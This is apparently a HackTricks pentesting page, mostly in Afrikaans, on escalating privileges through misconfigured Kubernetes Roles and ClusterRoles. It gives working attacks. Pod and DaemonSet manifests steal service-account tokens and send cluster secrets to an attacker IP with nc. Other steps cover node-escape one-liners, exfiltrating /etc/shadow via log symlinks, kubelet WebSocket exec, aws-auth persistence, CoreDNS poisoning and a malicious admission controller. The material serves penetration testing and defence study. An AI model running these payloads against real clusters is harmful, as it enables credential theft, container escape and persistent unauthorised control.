Misbruik van Roles/ClusterRoles in Kubernetes

Tip

Leer & oefen AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Leer & oefen GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Leer & oefen Az Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Ondersteun HackTricks

Hier kan jy ’n paar potensieel gevaarlike Roles en ClusterRoles-konfigurasies vind.
Onthou dat jy al die ondersteunde resources kan kry met kubectl api-resources

Privilege Escalation

Beskryf as die kuns om toegang tot ‘n ander principal’ binne die cluster te kry met ander voorregte (binne die kubernetes cluster of na eksterne clouds) as dié wat jy reeds het, in Kubernetes is daar basies 4 hoof-tegnieke om voorregte op te skaal:

  • Kan impersonate ander user/groups/SAs met beter voorregte binne die kubernetes cluster of na eksterne clouds
  • Kan create/patch/exec pods waar jy find or attach SAs met beter voorregte binne die kubernetes cluster of na eksterne clouds
  • Kan read secrets aangesien die SAs tokens as secrets gestoor word
  • Kan escape to the node vanaf ’n container, waar jy al die secrets van die containers wat op die node loop, die credentials van die node, en die permissies van die node binne die cloud waarin dit loop (indien enige) kan steel
  • ’n Vyfde tegniek wat ’n vermelding verdien is die vermoë om in ’n pod run port-forward, aangesien jy dalk interessante resources binne daardie pod kan bereik.

Toegang Tot Enige Resource of Verb (Wildcard)

Die wildcard (*) verleen toestemming oor enige resource met enige verb. Dit word deur admins gebruik. Binne ’n ClusterRole beteken dit dat ’n aanvaller enigenamespace in die cluster kan misbruik

apiVersion: rbac.authorization.k8s.io/v1
kind: ClusterRole
metadata:
name: api-resource-verbs-all
rules:
rules:
- apiGroups: ["*"]
resources: ["*"]
verbs: ["*"]

Toegang tot enige hulpbron met ’n spesifieke werkwoord

In RBAC hou sekere permissies beduidende risiko’s in:

  1. create: Gee die vermoë om enige cluster resource te skep, wat privilege escalation moontlik maak.
  2. list: Laat toe om alle resources te lys, potentially leaking sensitive data.
  3. get: Maak dit moontlik om secrets van service accounts te verkry, wat ’n sekuriteitsrisiko inhou.
apiVersion: rbac.authorization.k8s.io/v1
kind: ClusterRole
metadata:
name: api-resource-verbs-all
rules:
rules:
- apiGroups: ["*"]
resources: ["*"]
verbs: ["create", "list", "get"]

Pod Create - Steal Token

’n attacker met die regte om ’n pod te skep, kan ’n bevoorregte Service Account aan die pod heg en die token steel om die Service Account te impersonate. Dit eskaleer effektief bevoegdhede na die Service Account.

Voorbeeld van ’n pod wat die token van die bootstrap-signer service account sal steel en dit aan die attacker stuur:

apiVersion: v1
kind: Pod
metadata:
name: alpine
namespace: kube-system
spec:
containers:
- name: alpine
image: alpine
command: ["/bin/sh"]
args:
[
"-c",
'apk update && apk add curl --no-cache; cat /run/secrets/kubernetes.io/serviceaccount/token | { read TOKEN; curl -k -v -H "Authorization: Bearer $TOKEN" -H "Content-Type: application/json" https://192.168.154.228:8443/api/v1/namespaces/kube-system/secrets; } | nc -nv 192.168.154.228 6666; sleep 100000',
]
serviceAccountName: bootstrap-signer
automountServiceAccountToken: true
hostNetwork: true

Pod Create & Escape

Die volgende dui al die voorregte aan wat ’n container kan hê:

  • Privileged access (beskermings afskakel en capabilities instel)
  • Disable namespaces hostIPC and hostPid wat kan help om voorregte te eskaleer
  • Disable hostNetwork naamruimte, wat toegang gee om nodes se cloud-voorregte te steel en beter toegang tot netwerke
  • Mount hosts / inside the container
apiVersion: v1
kind: Pod
metadata:
name: ubuntu
labels:
app: ubuntu
spec:
# Uncomment and specify a specific node you want to debug
# nodeName: <insert-node-name-here>
containers:
- image: ubuntu
command:
- "sleep"
- "3600" # adjust this as needed -- use only as long as you need
imagePullPolicy: IfNotPresent
name: ubuntu
securityContext:
allowPrivilegeEscalation: true
privileged: true
#capabilities:
#  add: ["NET_ADMIN", "SYS_ADMIN"] # add the capabilities you need https://man7.org/linux/man-pages/man7/capabilities.7.html
runAsUser: 0 # run as root (or any other user)
volumeMounts:
- mountPath: /host
name: host-volume
restartPolicy: Never # we want to be intentional about running this pod
hostIPC: true # Use the host's ipc namespace https://www.man7.org/linux/man-pages/man7/ipc_namespaces.7.html
hostNetwork: true # Use the host's network namespace https://www.man7.org/linux/man-pages/man7/network_namespaces.7.html
hostPID: true # Use the host's pid namespace https://man7.org/linux/man-pages/man7/pid_namespaces.7.htmlpe_
volumes:
- name: host-volume
hostPath:
path: /

Skep die pod met:

kubectl --token $token create -f mount_root.yaml

Eenreël van this tweet en met ’n paar byvoegings:

kubectl run r00t --restart=Never -ti --rm --image lol --overrides '{"spec":{"hostPID": true, "containers":[{"name":"1","image":"alpine","command":["nsenter","--mount=/proc/1/ns/mnt","--","/bin/bash"],"stdin": true,"tty":true,"imagePullPolicy":"IfNotPresent","securityContext":{"privileged":true}}]}}'

Nou dat jy na die node kan ontsnap kyk na post-exploitation techniques in:

Stealth

Jy wil waarskynlik meer onopvallend wees; in die volgende bladsye kan jy sien waartoe jy toegang sou hê as jy ’n pod skep wat slegs sommige van die vroeër genoemde privileges in die vorige sjabloon aktiveer:

  • Privileged + hostPID
  • Privileged only
  • hostPath
  • hostPID
  • hostNetwork
  • hostIPC

You can find example of how to create/abuse the previous privileged pods configurations in https://github.com/BishopFox/badPods

Pod Create - Move to cloud

As jy ’n pod kan create (en opsioneel ’n service account) kan jy moontlik obtain privileges in cloud environment deur assigning cloud roles to a pod or a service account en dit dan te gebruik.
Verder, as jy ’n pod with the host network namespace kan skep, kan jy die IAM rol van die node instance steal.

For more information check:

Pod Escape Privileges

Create/Patch Deployment, Daemonsets, Statefulsets, Replicationcontrollers, Replicasets, Jobs and Cronjobs

Dit is moontlik om hierdie permissies te misbruik om ’n nuwe pod te create en voorregte te verkry soos in die vorige voorbeeld.

Die volgende yaml creates a daemonset and exfiltrates the token of the SA inside the pod:

apiVersion: apps/v1
kind: DaemonSet
metadata:
name: alpine
namespace: kube-system
spec:
selector:
matchLabels:
name: alpine
template:
metadata:
labels:
name: alpine
spec:
serviceAccountName: bootstrap-signer
automountServiceAccountToken: true
hostNetwork: true
containers:
- name: alpine
image: alpine
command: ["/bin/sh"]
args:
[
"-c",
'apk update && apk add curl --no-cache; cat /run/secrets/kubernetes.io/serviceaccount/token | { read TOKEN; curl -k -v -H "Authorization: Bearer $TOKEN" -H "Content-Type: application/json" https://192.168.154.228:8443/api/v1/namespaces/kube-system/secrets; } | nc -nv 192.168.154.228 6666; sleep 100000',
]
volumeMounts:
- mountPath: /root
name: mount-node-root
volumes:
- name: mount-node-root
hostPath:
path: /

Pods Exec

pods/exec is ’n resource in kubernetes wat gebruik word vir running commands in a shell inside a pod. Dit maak dit moontlik om run commands inside the containers or get a shell inside.

Daarom is dit moontlik om get inside a pod and steal the token of the SA, of in ’n privileged pod in te gaan, na die node te ontsnap, en al die tokens van die pods op die node te steel en die node te (ab)use:

kubectl exec -it <POD_NAME> -n <NAMESPACE> -- sh

Note

Standaard word die opdrag in die eerste kontenaer van die pod uitgevoer. Kry al die kontenaers in ’n pod met kubectl get pods <pod_name> -o jsonpath='{.spec.containers[*].name}' en dui dan die kontenaer aan waarin jy dit wil uitvoer met kubectl exec -it <pod_name> -c <container_name> -- sh

As dit ’n distroless container is, kan jy probeer om shell builtins te gebruik om inligting oor die kontenaers te kry, of jou eie gereedskap op te laai, soos ’n busybox, met: kubectl cp </path/local/file> <podname>:</path/in/container>.

port-forward

Hierdie toestemming laat toe om een plaaslike poort na ’n poort in die gespesifiseerde pod deur te stuur. Dit is bedoel om dit maklik te maak om toepassings wat binne ’n pod loop te debug, maar ’n aanvaller kan dit misbruik om toegang te kry tot interessante (soos DBs) of kwesbare toepassings (webs?) binne ’n pod:

kubectl port-forward pod/mypod 5000:5000

Hosts Writable /var/log/ Escape

Soos indicated in this research, as jy toegang het tot of ’n pod kan skep met die gasheer se /var/log/ gids gemonteer daarop, kan jy escape from the container.
Dit is hoofsaaklik omdat wanneer die Kube-API probeer om die logs te kry van ’n container (met kubectl logs <pod>), dit requests the 0.log lêer van die pod versoek deur die /logs/ endpoint van die Kubelet diens.
Die Kubelet diens stel die /logs/ endpoint bloot wat basies die /var/log filesisteem van die container blootstel.

Daarom kan ’n aanvaller met toegang om in die /var/log/ vouer te skryf van die container hierdie gedrag op 2 maniere misbruik:

  • Deur die 0.log file van sy container te wysig (gewoonlik geleë by /var/logs/pods/namespace_pod_uid/container/0.log) om byvoorbeeld ’n symlink wat na /etc/shadow wys te wees. Dan sal jy die gasheer se shadow-lêer kan exfiltrate deur:
kubectl logs escaper
failed to get parse function: unsupported log format: "root::::::::\n"
kubectl logs escaper --tail=2
failed to get parse function: unsupported log format: "systemd-resolve:*:::::::\n"
# Keep incrementing tail to exfiltrate the whole file
  • As die aanvaller enige prinsipaal beheer met die toestemming om nodes/log te lees, kan hy net ’n symlink in /host-mounted/var/log/sym na / skep en wanneer hy toegang tot https://<gateway>:10250/logs/sym/ kry, sal hy die gasheer se wortel-lêerstelsel kan lys (deur die symlink te verander kan toegang tot lêers verskaf word).
curl -k -H 'Authorization: Bearer eyJhbGciOiJSUzI1NiIsImtpZCI6Im[...]' 'https://172.17.0.1:10250/logs/sym/'
<a href="bin">bin</a>
<a href="data/">data/</a>
<a href="dev/">dev/</a>
<a href="etc/">etc/</a>
<a href="home/">home/</a>
<a href="init">init</a>
<a href="lib">lib</a>
[...]

’n laboratorium en geoutomatiseerde exploit kan gevind word in https://blog.aquasec.com/kubernetes-security-pod-escape-log-mounts

Omseiling van readOnly-beskerming

As jy gelukkig genoeg is en die hoogs bevoorregte bevoegdheid CAP_SYS_ADMIN beskikbaar is, kan jy die map net as rw hermonteer:

mount -o rw,remount /hostlogs/

Om hostPath readOnly-beskerming te omseil

Soos aangedui in this research is dit moontlik om die beskerming te omseil:

allowedHostPaths:
- pathPrefix: "/foo"
readOnly: true

Dit was bedoel om ontsnappings soos die vorige te voorkom deur, in plaas daarvan om ’n hostPath mount te gebruik, ’n PersistentVolume en ’n PersistentVolumeClaim te gebruik om ’n hosts folder in die container met writable access te mount:

apiVersion: v1
kind: PersistentVolume
metadata:
name: task-pv-volume-vol
labels:
type: local
spec:
storageClassName: manual
capacity:
storage: 10Gi
accessModes:
- ReadWriteOnce
hostPath:
path: "/var/log"
---
apiVersion: v1
kind: PersistentVolumeClaim
metadata:
name: task-pv-claim-vol
spec:
storageClassName: manual
accessModes:
- ReadWriteOnce
resources:
requests:
storage: 3Gi
---
apiVersion: v1
kind: Pod
metadata:
name: task-pv-pod
spec:
volumes:
- name: task-pv-storage-vol
persistentVolumeClaim:
claimName: task-pv-claim-vol
containers:
- name: task-pv-container
image: ubuntu:latest
command: ["sh", "-c", "sleep 1h"]
volumeMounts:
- mountPath: "/hostlogs"
name: task-pv-storage-vol

Impersonasie van bevoorregte rekeninge

Met ’n user impersonation voorreg kan ’n aanvaller ’n bevoorregte rekening naboots.

Gebruik net die parameter --as=<username> in die kubectl-opdrag om ’n gebruiker na te boots, of --as-group=<group> om ’n groep na te boots:

kubectl get pods --as=system:serviceaccount:kube-system:default
kubectl get secrets --as=null --as-group=system:masters

Of gebruik die REST API:

curl -k -v -XGET -H "Authorization: Bearer <JWT TOKEN (of the impersonator)>" \
-H "Impersonate-Group: system:masters"\
-H "Impersonate-User: null" \
-H "Accept: application/json" \
https://<master_ip>:<port>/api/v1/namespaces/kube-system/secrets/

Lys van Secrets

Die toestemming om list secrets kan ’n aanvaller toelaat om werklik die secrets te lees deur toegang tot die REST API endpoint:

curl -v -H "Authorization: Bearer <jwt_token>" https://<master_ip>:<port>/api/v1/namespaces/kube-system/secrets/

Skep en Lees Secrets

Daar is ’n spesiale soort Kubernetes secret van die tipe kubernetes.io/service-account-token wat serviceaccount-tokens stoor. As jy toestemming het om secrets te skep en te lees, en jy ken ook die serviceaccount se naam, kan jy ’n secret soos volg skep en dan die slagoffer se serviceaccount-token daaruit steel:

apiVersion: v1
kind: Secret
metadata:
name: stolen-admin-sa-token
namespace: default
annotations:
kubernetes.io/service-account.name: cluster-admin-sa
type: kubernetes.io/service-account-token

Voorbeeld exploitation:

$ SECRETS_MANAGER_TOKEN=$(kubectl create token secrets-manager-sa)

$ kubectl auth can-i --list --token=$SECRETS_MANAGER_TOKEN
Warning: the list may be incomplete: webhook authorizer does not support user rule resolution
Resources                                       Non-Resource URLs                      Resource Names   Verbs
selfsubjectreviews.authentication.k8s.io        []                                     []               [create]
selfsubjectaccessreviews.authorization.k8s.io   []                                     []               [create]
selfsubjectrulesreviews.authorization.k8s.io    []                                     []               [create]
secrets                                         []                                     []               [get create]
[/.well-known/openid-configuration/]   []               [get]
<SNIP>
[/version]                             []               [get]

$ kubectl create token cluster-admin-sa --token=$SECRETS_MANAGER_TOKEN
error: failed to create token: serviceaccounts "cluster-admin-sa" is forbidden: User "system:serviceaccount:default:secrets-manager-sa" cannot create resource "serviceaccounts/token" in API group "" in the namespace "default"

$ kubectl get pods --token=$SECRETS_MANAGER_TOKEN --as=system:serviceaccount:default:secrets-manager-sa
Error from server (Forbidden): serviceaccounts "secrets-manager-sa" is forbidden: User "system:serviceaccount:default:secrets-manager-sa" cannot impersonate resource "serviceaccounts" in API group "" in the namespace "default"

$ kubectl apply -f ./secret-that-steals-another-sa-token.yaml --token=$SECRETS_MANAGER_TOKEN
secret/stolen-admin-sa-token created

$ kubectl get secret stolen-admin-sa-token --token=$SECRETS_MANAGER_TOKEN -o json
{
"apiVersion": "v1",
"data": {
"ca.crt": "LS0tLS1CRUdJTiBDRVJUSUZJQ0FU<SNIP>UlRJRklDQVRFLS0tLS0K",
"namespace": "ZGVmYXVsdA==",
"token": "ZXlKaGJHY2lPaUpTVXpJMU5pSXNJbXRwWk<SNIP>jYkowNWlCYjViMEJUSE1NcUNIY0h4QTg2aXc="
},
"kind": "Secret",
"metadata": {
"annotations": {
"kubectl.kubernetes.io/last-applied-configuration": "{\"apiVersion\":\"v1\",\"kind\":\"Secret\",\"metadata\":{\"annotations\":{\"kubernetes.io/service-account.name\":\"cluster-admin-sa\"},\"name\":\"stolen-admin-sa-token\",\"namespace\":\"default\"},\"type\":\"kubernetes.io/service-account-token\"}\n",
"kubernetes.io/service-account.name": "cluster-admin-sa",
"kubernetes.io/service-account.uid": "faf97f14-1102-4cb9-9ee0-857a6695973f"
},
"creationTimestamp": "2025-01-11T13:02:27Z",
"name": "stolen-admin-sa-token",
"namespace": "default",
"resourceVersion": "1019116",
"uid": "680d119f-89d0-4fc6-8eef-1396600d7556"
},
"type": "kubernetes.io/service-account-token"
}

Let daarop dat as jy toegelaat word om secrets in ’n sekere namespace te skep en te lees, die slagoffer serviceaccount ook in daardie selfde namespace moet wees.

Reading a secret – brute-forcing token IDs

Terwyl ’n aanvaller in besit van ’n token met leesregte die presiese naam van die secret benodig om dit te gebruik, in teenstelling met die breër listing secrets voorreg, bestaan daar steeds kwesbaarhede. Default serviceaccounts in die stelsel kan geënumeer word, elk geassosieer met ’n secret. Hierdie secrets het ’n naamstruktuur: ’n statiese voorvoegsel gevolg deur ’n ewekansige vyf-karakter alfanumeriese token (sonder sekere karakters) volgens die source code.

Die token word gegenereer uit ’n beperkte stel van 27 karakters (bcdfghjklmnpqrstvwxz2456789), eerder as die volle alfanumeriese reeks. Hierdie beperking verminder die totale moontlike kombinasies tot 14,348,907 (27^5). Gevolglik kan ’n aanvaller teoreties ’n brute-force attack uitvoer om die token binne ’n paar uur te raai, wat moontlik tot privilege escalation lei deur toegang tot sensitiewe serviceaccounts te verkry.

EncrpytionConfiguration in clear text

Dit is moontlik om duidelike teks-sleutels te vind om data at rest te enkripteer in hierdie tipe objek, soos:

# From https://kubernetes.io/docs/tasks/administer-cluster/encrypt-data/

#
# CAUTION: this is an example configuration.
#          Do not use this for your own cluster!
#

apiVersion: apiserver.config.k8s.io/v1
kind: EncryptionConfiguration
resources:
- resources:
- secrets
- configmaps
- pandas.awesome.bears.example # a custom resource API
providers:
# This configuration does not provide data confidentiality. The first
# configured provider is specifying the "identity" mechanism, which
# stores resources as plain text.
#
- identity: {} # plain text, in other words NO encryption
- aesgcm:
keys:
- name: key1
secret: c2VjcmV0IGlzIHNlY3VyZQ==
- name: key2
secret: dGhpcyBpcyBwYXNzd29yZA==
- aescbc:
keys:
- name: key1
secret: c2VjcmV0IGlzIHNlY3VyZQ==
- name: key2
secret: dGhpcyBpcyBwYXNzd29yZA==
- secretbox:
keys:
- name: key1
secret: YWJjZGVmZ2hpamtsbW5vcHFyc3R1dnd4eXoxMjM0NTY=
- resources:
- events
providers:
- identity: {} # do not encrypt Events even though *.* is specified below
- resources:
- '*.apps' # wildcard match requires Kubernetes 1.27 or later
providers:
- aescbc:
keys:
- name: key2
secret: c2VjcmV0IGlzIHNlY3VyZSwgb3IgaXMgaXQ/Cg==
- resources:
- '*.*' # wildcard match requires Kubernetes 1.27 or later
providers:
- aescbc:
keys:
- name: key3
secret: c2VjcmV0IGlzIHNlY3VyZSwgSSB0aGluaw==

Sertifikaatondertekeningsversoeke

As jy die werkwoord create in die resource certificatesigningrequests (of ten minste in certificatesigningrequests/nodeClient) het, kan jy ’n nuwe node CeSR skep.

According to the documentation it’s possible to auto approve this requests, dus in daardie geval het jy nie ekstra toestemmings nodig nie. Indien nie, sal jy in staat moet wees om die versoek goed te keur, wat beteken update in certificatesigningrequests/approval en approve in signers met resourceName <signerNameDomain>/<signerNamePath> of <signerNameDomain>/*

’n voorbeeld van ’n rol met al die vereiste toestemmings is:

apiVersion: rbac.authorization.k8s.io/v1
kind: ClusterRole
metadata:
name: csr-approver
rules:
- apiGroups:
- certificates.k8s.io
resources:
- certificatesigningrequests
verbs:
- get
- list
- watch
- create
- apiGroups:
- certificates.k8s.io
resources:
- certificatesigningrequests/approval
verbs:
- update
- apiGroups:
- certificates.k8s.io
resources:
- signers
resourceNames:
- example.com/my-signer-name # example.com/* can be used to authorize for all signers in the 'example.com' domain
verbs:
- approve

Dus, met die nuwe node CSR goedgekeur, kan jy die spesiale permissies van nodes abuse om steal secrets en escalate privileges.

In this post and this one is die GKE K8s TLS Bootstrap-konfigurasie opgestel met automatic signing en dit word abused om credentials van ’n nuwe K8s Node te genereer en daardie credentials dan te abuse om escalate privileges deur stealing secrets.
As jy die genoemde privileges het, kan jy dieselfde doen. Let wel dat die eerste voorbeeld die fout omseil wat ’n nuwe node verhinder om toegang tot secrets binne containers te kry, omdat ’n node can only access the secrets of containers mounted on it.

Die manier om dit te omseil, is eenvoudig net om create a node credentials for the node name where the container with the interesting secrets is mounted (maar kyk net hoe om dit te doen in die eerste post):

"/O=system:nodes/CN=system:node:gke-cluster19-default-pool-6c73b1-8cj1"

AWS EKS aws-auth configmaps

Begunstigdes wat configmaps in die kube-system namespace op EKS (moet in AWS wees) clusters kan wysig, kan cluster admin privileges verkry deur die aws-auth configmap te oorskryf.
Die verbs wat benodig word is update en patch, of create as die configmap nie geskep is nie:

# Check if config map exists
get configmap aws-auth -n kube-system -o yaml

## Yaml example
apiVersion: v1
kind: ConfigMap
metadata:
name: aws-auth
namespace: kube-system
data:
mapRoles: |
- rolearn: arn:aws:iam::123456789098:role/SomeRoleTestName
username: system:node{{EC2PrivateDNSName}}
groups:
- system:masters

# Create donfig map is doesn't exist
## Using kubectl and the previous yaml
kubectl apply -f /tmp/aws-auth.yaml
## Using eksctl
eksctl create iamidentitymapping --cluster Testing --region us-east-1 --arn arn:aws:iam::123456789098:role/SomeRoleTestName --group "system:masters" --no-duplicate-arns

# Modify it
kubectl edit -n kube-system configmap/aws-auth
## You can modify it to even give access to users from other accounts
data:
mapRoles: |
- rolearn: arn:aws:iam::123456789098:role/SomeRoleTestName
username: system:node{{EC2PrivateDNSName}}
groups:
- system:masters
mapUsers: |
- userarn: arn:aws:iam::098765432123:user/SomeUserTestName
username: admin
groups:
- system:masters

Warning

Jy kan aws-auth gebruik vir persistence om toegang te gee aan gebruikers van ander rekeninge.

Egter, aws --profile other_account eks update-kubeconfig --name <cluster-name> werk nie vanaf ’n ander rekening nie. Maar eintlik werk aws --profile other_account eks get-token --cluster-name arn:aws:eks:us-east-1:123456789098:cluster/Testing as jy die ARN van die cluster in plaas van net die naam invul.
Om kubectl te laat werk, maak net seker om die slagoffer se kubeconfig te konfigureer en voeg in die aws exec-args --profile other_account_role by sodat kubectl die ander rekening se profiel sal gebruik om die token te kry en AWS te kontak.

CoreDNS config map

As jy die toestemmings het om die coredns configmap in die kube-system namespace te wysig, kan jy die adresse waarna domeine opgelos word wysig om MitM-aanvalle uit te voer en sodoende gevoelige inligting te steel of kwaadwillige inhoud in te voeg.

Die verbs wat benodig word is update en patch op die coredns configmap (of al die config maps).

’n gewone coredns file bevat iets soos dit:

data:
Corefile: |
.:53 {
log
errors
health {
lameduck 5s
}
ready
kubernetes cluster.local in-addr.arpa ip6.arpa {
pods insecure
fallthrough in-addr.arpa ip6.arpa
ttl 30
}
prometheus :9153
hosts {
192.168.49.1 host.minikube.internal
fallthrough
}
forward . /etc/resolv.conf {
max_concurrent 1000
}
cache 30
loop
reload
loadbalance
}

’n Aanvaller kan dit aflaai deur kubectl get configmap coredns -n kube-system -o yaml uit te voer, dit wysig deur iets soos rewrite name victim.com attacker.com by te voeg sodat wanneer victim.com geraak word, eintlik attacker.com die domein is wat bereik sal word. En dan toepas deur kubectl apply -f poison_dns.yaml uit te voer.

’n Ander opsie is om net die lêer te wysig deur kubectl edit configmap coredns -n kube-system uit te voer en die veranderinge te maak.

Eskalering in GKE

Daar is 2 maniere om K8s-permissies aan GCP principals toe te ken. In elk geval het die principal ook die permissie container.clusters.get nodig om credentials te versamel om by die cluster uit te kom, anders sal jy jou eie kubectl config file moet genereer (volg die volgende skakel).

Warning

Wanneer daar met die K8s API-endpoint gepraat word, sal die GCP auth token gestuur word. Dan sal GCP, deur die K8s API-endpoint, eers kontroleer of die principal (per email) enige toegang binne die cluster het, en daarna sal dit kyk of dit enige toegang via GCP IAM het.
As enige van daardie waar is, sal daar geantwoord word. Indien nie, sal ’n fout teruggegee word wat voorstel om permissies via GCP IAM te gee.

Dan is die eerste metode om GCP IAM te gebruik; die K8s-permissies het hul gelykwaardige GCP IAM-permissies, en as die principal dit het, sal hy dit kan gebruik.

GCP - Container Privesc

Die tweede metode is om K8s-permissies binne die cluster toe te ken deur die gebruiker te identifiseer met sy email (GCP service accounts ingesluit).

Skep serviceaccounts token

Principals wat TokenRequests kan create (serviceaccounts/token) wanneer hulle met die K8s API-endpoint kommunikeer — SAs (info van here).

ephemeralcontainers

Principals wat update of patch op pods/ephemeralcontainers kan doen, kan kode-uitvoering op ander pods verkry, en potensieel na hul node uitbreek deur ’n ephemeral container met ’n privileged securityContext by te voeg.

ValidatingWebhookConfigurations or MutatingWebhookConfigurations

Principals met enige van die verbs create, update of patch oor validatingwebhookconfigurations of mutatingwebhookconfigurations mag in staat wees om so ’n webhookconfiguration te skep om sodoende privileges te eskaleer.

Vir ’n mutatingwebhookconfigurations example check this section of this post.

Eskaleer

Soos jy in die volgende afdeling kan lees: Built-in Privileged Escalation Prevention, kan ’n principal nie rolle of clusterroles opdateer of skep nie sonder om self daardie nuwe permissies te hê. Behalwe as hy die verb escalate or * oor roles of clusterroles en die toepaslike binding-opsies het.
Dan kan hy nuwe roles/clusterroles opdateer/skep met beter permissies as wat hy tans het.

Nodes proxy

Principals met toegang tot die nodes/proxy subresource kan via die Kubelet API kode op pods uitvoer (volgens this). Meer inligting oor Kubelet-authentication op hierdie bladsy:

Kubelet Authentication & Authorization

nodes/proxy GET -> Kubelet /exec via WebSocket werkwoord-verwarring

  • Kubelet karteer HTTP-metodes na RBAC-verbs voor die protokolopgradering. WebSocket-handskake moet met HTTP GET (Connection: Upgrade) begin, dus word /exec oor WebSocket gekontroleer as verb get in plaas van die verwagte create.
  • /exec, /run, /attach, en /portforward is nie eksplisiet gekarteer nie en val onder die standaard proxy subresource, so die magtigingsvraag word can <user> get nodes/proxy?
  • As ’n token slegs nodes/proxy + get het, laat direkte WebSocket-toegang na die kubelet op https://<node_ip>:10250 toe om arbitrêre opdragte in enige pod op daardie node uit te voer. Dieselfde versoek via die API-server se proxy-pad (/api/v1/nodes/<node>/proxy/exec/...) word geweier omdat dit ’n normale HTTP POST is en na create gekarteer word.
  • Die kubelet doen geen tweede magtiging na die WebSocket-opgradering nie; slegs die aanvanklike GET word geëvalueer.

Direkte uitbuiting (vereis netwerktoeganklikheid na die kubelet en ’n token met nodes/proxy GET):

kubectl auth can-i --list | grep "nodes/proxy"
websocat --insecure \
--header "Authorization: Bearer $TOKEN" \
--protocol "v4.channel.k8s.io" \
"wss://$NODE_IP:10250/exec/$NAMESPACE/$POD/$CONTAINER?output=1&error=1&command=id"
  • Gebruik die Node IP, nie die node name nie. Dieselfde versoek met curl -X POST sal Forbidden wees omdat dit na create map.
  • Direkte kubelet access omseil die API server, so AuditPolicy wys slegs subjectaccessreviews van die kubelet user agent en registreer nie pods/exec opdragte nie.
  • Emergeer geaffekteerde service accounts met die detection script om tokens te vind wat beperk is tot nodes/proxy GET.

Verwyder pods + onskeduleerbare nodes

Entiteite wat kan delete pods (delete verb over pods resource), of evict pods (create verb over pods/eviction resource), of change pod status (toegang tot pods/status) en wat ander nodes kan onskeduleerbaar maak (toegang tot nodes/status) of delete nodes (delete verb over nodes resource) en beheer oor ’n pod het, kan pods van ander nodes steel sodat hulle in die gekompromiseerde node uitgevoer word en die aanvaller die tokens van daardie pods kan steel.

patch_node_capacity(){
curl -s -X PATCH 127.0.0.1:8001/api/v1/nodes/$1/status -H "Content-Type: json-patch+json" -d '[{"op": "replace", "path":"/status/allocatable/pods", "value": "0"}]'
}

while true; do patch_node_capacity <id_other_node>; done &
#Launch previous line with all the nodes you need to attack

kubectl delete pods -n kube-system <privileged_pod_name>

Status van services (CVE-2020-8554)

Prinsipale wat die vermoë het om wysig services/status kan die veld status.loadBalancer.ingress.ip stel om die onopgeloste CVE-2020-8554 uit te buit en MiTM-aanvalle teen die kluster te loods. Die meeste mitigasies vir CVE-2020-8554 voorkom slegs ExternalIP services (volgens this).

Nodes- en Pods-status

Prinsipale met update of patch toestemmings oor nodes/status of pods/status kan etikette verander om afgedwingde skeduleringsbeperkings te beïnvloed.

Ingeboude voorkoming van privileegeskalasie

Kubernetes het ’n ingeboude meganisme om privileeg-eskalasie te voorkom.

Hierdie stelsel verseker dat gebruikers hul regte nie kan verhoog deur roles of role bindings te wysig nie. Die afdwinging van hierdie reël gebeur op API-vlak, wat ’n beskerming bied selfs wanneer die RBAC-authorizer nie aktief is nie.

Die reël bepaal dat ’n gebruiker slegs ’n role kan skep of opdateer as hulle al die toestemmings wat die role bevat besit. Verder moet die omvang van die gebruiker se bestaande toestemmings ooreenstem met daardie van die role wat hulle probeer skep of wysig: of cluster-wyd vir ClusterRoles of beperk tot dieselfde namespace (of cluster-wyd) vir Roles.

Warning

Daar is ’n uitsondering op die vorige reël. As ’n prinsipaal die verb escalate oor roles of clusterroles het, kan hy die bevoegdhede van roles en clusterroles verhoog selfs sonder om die toestemmings self te hê.

Get & Patch RoleBindings/ClusterRoleBindings

Caution

Blykbaar het hierdie tegniek voorheen gewerk, maar volgens my toetse werk dit nie meer nie om dieselfde rede wat in die vorige afdeling verduidelik is. Jy kan nie ’n rolebinding skep/wysig om jouself of ’n ander SA sekere bevoegdhede te gee as jy dit nie reeds het nie.

Die bevoegdheid om Rolebindings te skep stel ’n gebruiker in staat om roles aan ’n service account te bind. Hierdie bevoegdheid kan moontlik tot privileegeskalasie lei omdat dit die gebruiker in staat stel om admin-bevoegdhede aan ’n gekompromitteerde service account te bind.

Ander aanvalle

Sidecar proxy app

Standaard is daar geen enkripsie in die kommunikasie tussen pods nie. Wederkerige autentisering, twee-rigting, pod-na-pod.

Skep ’n sidecar proxy-app

’n Sidecar-container bestaan eenvoudig uit die toevoeging van ’n tweede (of meer) container binne ’n pod.

Byvoorbeeld, die volgende is deel van die konfigurasie van ’n pod met 2 containers:

spec:
containers:
- name: main-application
image: nginx
- name: sidecar-container
image: busybox
command: ["sh","-c","<execute something in the same pod but different container>"]

Byvoorbeeld, om ’n bestaande pod met ’n nuwe container te backdoor, kan jy net ’n nuwe container by die spesifikasie voeg. Neem kennis dat jy die tweede container meer permissies kan gee wat die eerste nie sal hê nie.

More info at: https://kubernetes.io/docs/tasks/configure-pod-container/security-context/

Kwaadwillige Admission Controller

’n admission controller kap versoeke na die Kubernetes API server af voor die objek gestoor word, maar nadat die versoek geauthentiseer is en geautoriseer is.

As ’n aanvaller op een of ander manier daarin slaag om om ’n Mutation Admission Controller in te spuit, sal hy in staat wees om reeds geauthentiseerde versoeke te wysig. Dit kan potensieel privesc moontlik maak, en dit bly gewoonlik voort in die cluster.

Voorbeeld van https://blog.rewanthtammana.com/creating-malicious-admission-controllers:

git clone https://github.com/rewanthtammana/malicious-admission-controller-webhook-demo
cd malicious-admission-controller-webhook-demo
./deploy.sh
kubectl get po -n webhook-demo -w

Kontroleer die status om te sien of dit gereed is:

kubectl get mutatingwebhookconfigurations
kubectl get deploy,svc -n webhook-demo

mutating-webhook-status-check.PNG

Dan ontplooi ’n nuwe pod:

kubectl run nginx --image nginx
kubectl get po -w

Wanneer jy die ErrImagePull-fout sien, kontroleer die image-naam met een van die navrae:

kubectl get po nginx -o=jsonpath='{.spec.containers[].image}{"\n"}'
kubectl describe po nginx | grep "Image: "

malicious-admission-controller.PNG

Soos jy in die prent hierbo kan sien, het ons probeer om die image nginx te laat loop, maar die finale uitgevoerde image is rewanthtammana/malicious-image. Wat het nou gebeur!!?

Tegniese besonderhede

Die ./deploy.sh skrip stel ’n mutating webhook admission controller op, wat versoeke na die Kubernetes API wysig soos in sy konfigurasielyne gespesifiseer, en sodoende die waargenome uitkomste beïnvloed:

patches = append(patches, patchOperation{
Op:    "replace",
